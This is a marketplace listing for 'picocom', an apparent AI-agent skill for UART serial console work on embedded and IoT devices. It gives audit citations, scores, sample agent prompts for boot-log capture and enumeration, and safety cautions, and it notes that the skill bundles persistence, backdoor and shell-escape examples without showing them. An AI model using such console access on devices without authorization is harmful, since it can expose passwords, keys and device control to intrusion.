<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
BrownFineSecurity. (2026). picocom security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-picocom/audits/10BibTeX citation
@techreport{brownfinesecurity-brownfinesecurity-picocom-2026,
author = {BrownFineSecurity},
title = {picocom security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/brownfinesecurity-picocom/audits/10},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "picocom security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/brownfinesecurity-picocom/audits/10"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-picocom:audit:10"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
70
Community
83
Spec Compliance
What You Can Build
Capture Boot Logs
Record boot output from an embedded device and identify prompts, baud issues, and startup services.
Inspect Authorized Consoles
Run controlled commands on a lab device and preserve a session transcript for a security report.
Test Modem AT Interfaces
Send AT commands to cellular or satellite modems and classify normal, error, and connection responses.
Try These Prompts
Start a Basic UART Session
Use the picocom skill to connect to my authorized device on /dev/ttyUSB0 at 115200 baud. Capture the first prompt and summarize what you see.
Monitor Boot Output
Monitor the UART output for 60 seconds while I reboot the device. Save a session log and summarize boot stages, prompts, and errors.
Run a Controlled Enumeration
Use the serial helper with the prompt I provide. Run a small authorized checklist and return a concise findings summary with evidence from the log.
Compare Triggered UART Events
Capture a baseline, run my approved trigger command, and compare UART output before, during, and after the trigger. Highlight new warnings or crashes.
Best Practices
- Use this skill only on devices you own or have written authorization to test.
- Store session logs outside shared temporary paths when they may contain secrets.
- Start with passive monitoring before running commands that change device state.
Avoid
- Do not use persistence, backdoor, or shell escape examples on systems without explicit authorization.
- Do not publish raw session logs because they may include passwords, keys, or device identifiers.
- Do not assume one baud rate, prompt pattern, or line ending works for every embedded device.
Frequently Asked Questions
What does this skill help me do?
It helps run and observe authorized UART serial sessions for embedded and IoT security testing.
Does it require hardware access?
Yes. You need a serial adapter, correct wiring, and permission to connect to the device.
Can it use Claude, Codex, and Claude Code?
Yes. The report declares support for Claude, Codex, and Claude Code compatible workflows.
Can it monitor without sending commands?
Yes. Monitor mode can passively capture UART output for a chosen duration.
Why are logs a security concern?
Serial logs can contain passwords, tokens, keys, network details, and device identifiers.
Is this safe for any device?
No. Some workflows can change device state and must be limited to approved lab testing.
Developer Details
Author
BrownFineSecurityLicense
MIT
Skillstore revision
r1
Version notice
The author did not declare a version.
Ref
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
5 downloads · 201 views
File structure